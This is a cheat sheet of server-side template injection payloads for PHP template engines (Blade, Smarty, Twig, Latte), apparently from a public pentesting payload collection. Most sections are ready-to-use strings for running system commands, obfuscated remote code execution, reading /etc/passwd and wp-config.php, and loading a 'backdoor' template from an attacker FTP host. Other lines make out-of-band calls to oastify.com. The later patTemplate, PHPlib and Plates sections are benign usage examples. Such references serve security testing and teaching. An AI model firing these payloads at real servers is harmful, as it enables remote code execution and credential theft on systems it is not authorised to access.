# Server Side Template Injection - PHP > Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation. ## Summary - [Templating Libraries](#templating-libraries) - [blade](#blade) - [Smarty](#smarty) - [Smarty - Code Execution with Obfuscation](#smarty---code-execution-with-obfuscation) - [Twig](#twig) - [Twig - Basic Injection](#twig---basic-injection) - [Twig - Template Format](#twig---template-format) - [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading) - [Twig - Code Execution](#twig---code-execution) - [Twig - Code Execution with Obfuscation](#twig---code-execution-with-obfuscation) - [Latte](#latte) - [Latte - Basic Injection](#latte---basic-injection) - [Latte - Code Execution](#latte---code-execution) - [patTemplate](#pattemplate) - [PHPlib](#phplib-and-html_template_phplib) - [Plates](#plates) - [References](#references) ## Templating Libraries | Template Name | Payload Format | | --------------- | --------- | | Blade (Laravel) | `{{ }}` | | Latte | `{var $X=""}{$X}` | | Mustache | `{{ }}` | | Plates | `` | | Smarty | `{ }` | | Twig | `{{ }}` | ## Blade [Official website](https://laravel.com/docs/master/blade) > Blade is the simple, yet powerful templating engine that is included with Laravel. The string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}`. ```php {{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}} ``` Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). --- ## Smarty [Official website](https://www.smarty.net/docs/en/) > Smarty is a template engine for PHP. ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` ### Smarty - Code Execution with Obfuscation By employing the variable modifier `cat`, individual characters are concatenated to form the string "id" as follows: `{chr(105)|cat:chr(100)}`. Execute system comman (command: `id`): ```php {{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}} ``` Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). --- ## Twig [Official website](https://twig.symfony.com/) > Twig is a modern template engine for PHP. ### Twig - Basic Injection ```php {{7*7}} {{7*'7'}} would result in 49 {{dump(app)}} {{dump(_context)}} {{app.request.server.all|join(',')}} ``` ### Twig - Template Format ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` ### Twig - Arbitrary File Reading ```php "{{'/etc/passwd'|file_excerpt(1,30)}}"@ {{include("wp-config.php")}} ``` ### Twig - Code Execution ```php {{self}} {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{['id']|filter('system')}} {{[0]|reduce('system','id')}} {{['id']|map('system')|join}} {{['id',1]|sort('system')|join}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id']|filter('passthru')}} {{['id']|map('passthru')}} {{['nslookup oastify.com']|filter('system')}} ``` Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is) ```python FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }} ``` Example with an email passing FILTER_VALIDATE_EMAIL PHP. ```powershell POST /subscribe?0=cat+/etc/passwd HTTP/1.1 email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld ``` ### Twig - Code Execution with Obfuscation Twig's block feature and built-in `_charset` variable can be nesting can be used to produced the payload (command: `id`) ```twig {%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}} ``` The following payload, which harnesses the built-in `_context` variable, also achieves RCE – provided that the template engine performs a double-rendering process: ```twig {{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}} ``` Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). --- ## Latte ### Latte - Basic Injection ```php {var $X="POC"}{$X} ``` ### Latte - Code Execution ```php {php system('nslookup oastify.com')} ``` --- ## patTemplate > [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts ```xml This is the main page. It contains another template. Hello {NAME}.
 ``` --- ## PHPlib and HTML_Template_PHPLIB [HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear. `authors.tpl` ```html {PAGE_TITLE}
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
``` `authors.php` ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` --- ## Plates Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine. controller: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` page template: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` layout template: ```php <?=$this->e($title)?> section('content')?> ``` ## References - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) - [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58)